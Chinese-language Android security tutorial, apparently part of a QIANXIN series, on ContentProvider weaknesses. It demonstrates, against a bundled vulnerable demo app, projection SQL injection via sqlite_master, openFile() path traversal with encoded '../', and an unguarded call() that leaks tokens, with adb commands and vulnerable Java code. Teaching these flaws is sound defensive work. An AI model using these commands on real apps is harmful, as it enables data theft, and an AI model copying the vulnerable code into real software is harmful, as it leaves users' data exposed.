# Android移动安全第四章_ContentProvider安全
> QIANXIN Team
> 来源:https://forum.butian.net/share/4832
> 系列目录:
>
> 1. Android 组件导出安全
> 2. Android Intent 安全
> 3. Android Binder 服务安全
> 4. Android ContentProvider 安全(本章)
> 5. Android WebView 安全
> 6. Android UI 欺骗与钓鱼
> 7. Android Deep Link 安全
> 8. Android 广播安全
> 9. Android PendingIntent 安全
> 10. Android 系统设置安全
> 11. Android SSRF 与网络安全
> 12. Android 加密与数据存储安全
> 13. Android 认证与证书校验
> 14. Android Zip Slip 路径遍历
> 15. Android Fragment Injection
> 16. Android SELinux 与沙箱机制
* * *
## 1\. 前言
Android 的每个 App 都有自己的私有数据目录(/data/data/包名/),其他 App 默认无法访问。但很多场景需要跨应用共享数据——通讯录、媒体库、日历、短信,这些系统数据都需要被多个 App 读取。
ContentProvider 就是为这个需求设计的。它把数据封装成类似数据库表的结构,通过 URI(Uniform Resource Identifier,统一资源标识符)定位,对外提供 query、insert、update、delete 四个标准的 CRUD(Create/Read/Update/Delete,增删改查)操作,以及 openFile(文件访问)和 call(自定义方法调用)两个扩展操作。
外部 App 通过 ContentResolver(内容解析器,系统提供的客户端 API)访问 ContentProvider,不需要知道数据的具体存储方式(SQLite、文件、内存都可以),只需要知道 URI。
ContentProvider 的攻击面比其他三个组件丰富一些。Activity 和 Service 主要是"触发一个动作",而 ContentProvider 是"读写数据"——它直接操作数据库和文件系统,出问题就是数据泄露或文件读写。
* * *
## 2\. ContentProvider 基础
### 2.1 URI 结构
ContentProvider 通过 URI 定位数据,格式如下:
```php
content:
```
| 部分 | 说明 | 示例 |
| --- | --- | --- |
| content:// | 固定前缀,表示这是一个 ContentProvider URI | |
| authority | Provider 的唯一标识,通常是包名相关的字符串 | com.example.app.provider |
| path | 数据路径,类似于数据库表名 | users |
| id | 可选,指定某条记录 | 3 |
完整示例:`content://com.example.app.provider/users/3` 表示访问 com.example.app.provider 这个 Provider 中 users 表的第 3 条记录。
### 2.2 六个操作方法
ContentProvider 对外暴露六个方法:
| 方法 | 作用 | 对应 SQL |
| --- | --- | --- |
| query() | 查询数据 | SELECT |
| insert() | 插入数据 | INSERT |
| update() | 更新数据 | UPDATE |
| delete() | 删除数据 | DELETE |
| openFile() | 打开文件,返回文件描述符 | 无 |
| call() | 自定义方法调用 | 无 |
前四个是标准的 CRUD 操作,后两个是扩展功能。openFile() 用于文件共享场景(比如图片、文档),call() 用于不适合 CRUD 模型的自定义操作。

### 2.3 权限控制
ContentProvider 的权限控制在 Manifest 中声明:
```xml
```
- `readPermission`:控制 query() 的访问权限
- `writePermission`:控制 insert()、update()、delete() 的访问权限
- `permission`:如果只设置这一个,读写都需要该权限
还可以通过 `` 对不同路径设置不同权限:
```xml
```
这样 /public 路径和 /private 路径可以有不同的访问控制。
### 2.4 临时权限授予
有时候需要临时让另一个 App 访问自己 Provider 中的某条数据,但又不想给它永久权限。Android 提供了 `grantUriPermissions` 机制:
```xml
```
配合 Intent 的 `FLAG_GRANT_READ_URI_PERMISSION` 或 `FLAG_GRANT_WRITE_URI_PERMISSION`,可以在启动 Activity 时临时授予对方对特定 URI 的访问权限。权限在接收方 Activity 结束后自动撤销。
第二章讲 Intent Flag 滥用时提到过,如果存在 Intent 重定向漏洞,攻击者可以借此获得对未导出 Provider 的临时访问权限。
* * *
## 3\. 数据泄露
### 3.1 无权限保护的导出 Provider
Provider 导出了,但没有设置任何权限:
```xml
```
任何 App 都可以通过 ContentResolver 查询其中的数据:
```java
Cursor cursor = getContentResolver().query(
Uri.parse("content://com.example.app.userprovider/users"),
null, null, null, null
);
```
下面用配套的演示 App(com.demo.providersecurity)来展示。VulnUserProvider 导出且无权限保护,存储了模拟的用户数据:
```bash
adb shell content query \
--uri content://com.demo.providersecurity.users/users
```
输出:
```php
Row: 0 _id=1, username=admin, email=admin@internal.com, token=eyJhbGciOiJIUzI1NiJ9.admin
Row: 1 _id=2, username=test_user, email=test@internal.com, token=dGVzdF90b2tlbl8xMjM0
Row: 2 _id=3, username=backup_svc, email=backup@internal.com, token=YmFja3VwX3Rva2VuXzU2Nzg=
```
用户名、邮箱、认证 token 全部暴露。
### 3.2 projection 参数注入
query() 方法的 projection 参数指定要返回哪些列,对应 SQL 的 SELECT 子句。如果 Provider 内部直接把 projection 拼接到 SQL 语句中,攻击者可以注入额外的 SQL 片段。
很多 Provider 底层使用 SQLite(一个轻量级的嵌入式关系数据库,Android 内置支持)存储数据。Android 的 `SQLiteDatabase.query()` 方法会把 projection 数组拼接成 SELECT 子句,不做额外过滤:
```java
@Override
public Cursor query(Uri uri, String[] projection, String selection,
String[] selectionArgs, String sortOrder) {
SQLiteDatabase db = dbHelper.getReadableDatabase();
return db.query("users", projection, selection, selectionArgs, null, null, sortOrder);
}
```
攻击者可以通过 projection 读取其他表的数据。SQLite 有一个内置表 `sqlite_master`,存储了数据库中所有表和索引的定义。通过注入可以先读取表结构,再针对性地查询:
```bash
adb shell content query \
--uri content://com.demo.providersecurity.users/users \
--projection "'* FROM sqlite_master--'"
```
输出:
```php
Row: 0 type=table, name=users, tbl_name=users, rootpage=4, sql=CREATE TABLE users (_id INTEGER PRIMARY KEY AUTOINCREMENT,username TEXT NOT NULL,email TEXT,token TEXT)
Row: 1 type=table, name=secrets, tbl_name=secrets, rootpage=6, sql=CREATE TABLE secrets (_id INTEGER PRIMARY KEY AUTOINCREMENT,key_name TEXT NOT NULL,key_value TEXT)
```
发现了一个 secrets 表。继续注入读取它的内容:
```bash
adb shell content query \
--uri content://com.demo.providersecurity.users/users \
--projection "'* FROM secrets--'"
```
输出:
```php
Row: 0 _id=1, key_name=master_key, key_value=MK-9a8b7c6d5e4f3a2b1c0d
Row: 1 _id=2, key_name=encryption_iv, key_value=IV-1234567890abcdef
```
通过 projection 注入,从一个只暴露 users 表的 Provider 中读到了 secrets 表的数据。
### 3.3 selection 参数注入
selection 参数对应 SQL 的 WHERE 子句。如果 Provider 没有使用参数化查询(selectionArgs),而是直接拼接 selection 字符串,也存在注入风险:
```java
String where = "username = '" + selection + "'";
cursor = db.rawQuery("SELECT * FROM users WHERE " + where, null);
cursor = db.query("users", null, "username = ?", new String[]{username}, null, null, null);
```
实际中 selection 注入比 projection 注入少见一些,因为 Android 的 `SQLiteDatabase.query()` 方法本身支持 selectionArgs 参数化,很多开发者会自然地使用它。
### 3.4 SQLite 注入的限制
和 MySQL、PostgreSQL 不同,SQLite 的注入利用有一些限制:
- 不支持多语句执行(不能用分号拼接 DROP TABLE 等)
- 不支持 INTO OUTFILE(不能直接写文件)
- 不支持 LOAD\_EXTENSION(默认禁用,不能加载动态库)
所以 SQLite 注入的主要危害是数据读取,而不是命令执行。
* * *
## 4\. openFile() 路径遍历
### 4.1 原理
openFile() 方法根据 URI 返回一个 ParcelFileDescriptor(文件描述符的跨进程包装),让调用方可以读写文件。如果 Provider 在处理 URI 时没有过滤路径中的 `../`(上级目录),攻击者就可以通过路径遍历访问 Provider 所在 App 沙箱内的任意文件。
```java
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode)
throws FileNotFoundException {
String filename = uri.getLastPathSegment();
File file = new File(getContext().getFilesDir(), filename);
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}
```
如果攻击者传入 `content://authority/files/..%2F..%2Fshared_prefs%2Fsecret.xml`(`%2F` 是 `/` 的 URL 编码),`getLastPathSegment()` 返回 `../../shared_prefs/secret.xml`,File 对象解析后指向的就是 App 的 SharedPreferences(Android 提供的轻量级键值对存储,数据保存在 XML 文件中)文件。
### 4.2 getLastPathSegment() 的解码行为
这里有一个容易被忽略的细节:`Uri.getLastPathSegment()` 会自动对 URL 编码进行解码。即使 URI 中写的是 `..%2Fshared_prefs`,`getLastPathSegment()` 返回的是 `../shared_prefs`。
这意味着仅仅检查原始 URI 字符串中是否包含 `../` 是不够的,攻击者可以用 `%2F` 绕过。正确的做法是对 `getLastPathSegment()` 的返回值做检查,或者用 `File.getCanonicalPath()` 验证最终路径是否在允许的目录内。

### 4.3 演示
演示 App 的 VulnFileProvider 存在路径遍历漏洞。它的 openFile() 直接用 `getLastPathSegment()` 拼接文件路径,没有做任何过滤。
App 的 SharedPreferences 中存储了一个模拟的 API key:
```bash
adb shell content read \
--uri content://com.demo.providersecurity.files/files/..%2Fshared_prefs%2Fapp_config.xml
```
输出:
```xml
```
通过路径遍历,从一个文件共享 Provider 中读到了 App 私有的配置文件,包括 API key 和内部服务器地址。
* * *
## 5\. call() 方法滥用
### 5.1 原理
call() 是 ContentProvider 的一个通用方法,签名如下:
```java
public Bundle call(String method, String arg, Bundle extras)
```
它不受 readPermission/writePermission 的约束——这两个权限只控制 query/insert/update/delete。call() 方法的权限需要在代码中自行检查。
如果开发者在 call() 中实现了敏感操作但没加权限检查,任何 App 都可以调用:
```java
@Override
public Bundle call(String method, String arg, Bundle extras) {
if ("reset_password".equals(method)) {
String username = extras.getString("username");
String newPassword = extras.getString("new_password");
resetUserPassword(username, newPassword);
Bundle result = new Bundle();
result.putBoolean("success", true);
return result;
}
return null;
}
```
### 5.2 演示
演示 App 的 VulnUserProvider 实现了一个 `get_token` 方法,直接返回指定用户的认证 token:
```bash
adb shell content call \
--uri content://com.demo.providersecurity.users \
--method get_token \
--arg admin
```
输出:
```php
Result: Bundle[{token=eyJhbGciOiJIUzI1NiJ9.admin}]
```
不需要任何权限,直接拿到了 admin 用户的 token。
* * *
## 6\. 版本演进
### 6.1 ContentProvider 的默认导出变化
第一章提到过,ContentProvider 的默认导出规则和其他组件不同:
| targetSdk | 默认 exported |
| --- | --- |
| < 17(Android 4.2 之前) | true |
| >= 17 | false |
Android 12(targetSdk 31)进一步要求所有带 intent-filter 的组件必须显式声明 exported。但 ContentProvider 通常不声明 intent-filter,所以这个改动对它的影响不大。
### 6.2 StrictMode 对 file:// URI 的限制
Android 7.0(API 24)开始,StrictMode(严格模式,Android 提供的一种开发期检测机制)禁止在 Intent 中传递 `file://` URI。App 之间共享文件必须通过 FileProvider(Android 提供的一个安全的 ContentProvider 实现,位于 androidx 库中)和 `content://` URI。
这个改动推动了 FileProvider 的普及,但也引入了新的攻击面——如果 FileProvider 的配置不当(比如用 `` 共享了整个文件系统),反而比直接用 file:// 更危险。
### 6.3 query() 的 Bundle 参数
Android 8.0(API 26)引入了 `query()` 的 Bundle 重载版本:
```java
public Cursor query(Uri uri, String[] projection, Bundle queryArgs,
CancellationSignal cancellationSignal)
```
queryArgs Bundle 可以包含 selection、selectionArgs、sortOrder 等参数。这个改动本身不影响安全性,但如果 Provider 从 Bundle 中取参数时没有做校验,同样存在注入风险。
* * *
## 7\. 总结
ContentProvider 是 Android 数据共享的标准接口,它的攻击面围绕"数据读写"展开。
回顾一下:
- 导出且无权限保护的 Provider 可以被任何 App 查询,直接导致数据泄露
- projection 和 selection 参数如果直接拼接到 SQL 中,存在注入风险,通过 sqlite\_master 可以获取完整的表结构
- openFile() 的路径遍历可以读取 App 沙箱内的任意文件,`getLastPathSegment()` 的自动解码行为容易被忽略
- call() 方法不受 readPermission/writePermission 约束,需要在代码中单独做权限检查
下一章讲 Android WebView 安全。WebView 是 App 内嵌的浏览器组件,它把 Web 的攻击面引入了 Android 应用——JavaScript 接口、URL 拦截、文件访问,每一个都可能成为漏洞入口。
通过网盘分享的文件:provider安全演示.apk
链接: [https://pan.baidu.com/s/1TmFzQeI7XXuljQUqPVzIPg?pwd=5gi4](https://pan.baidu.com/s/1TmFzQeI7XXuljQUqPVzIPg?pwd=5gi4) 提取码: 5gi4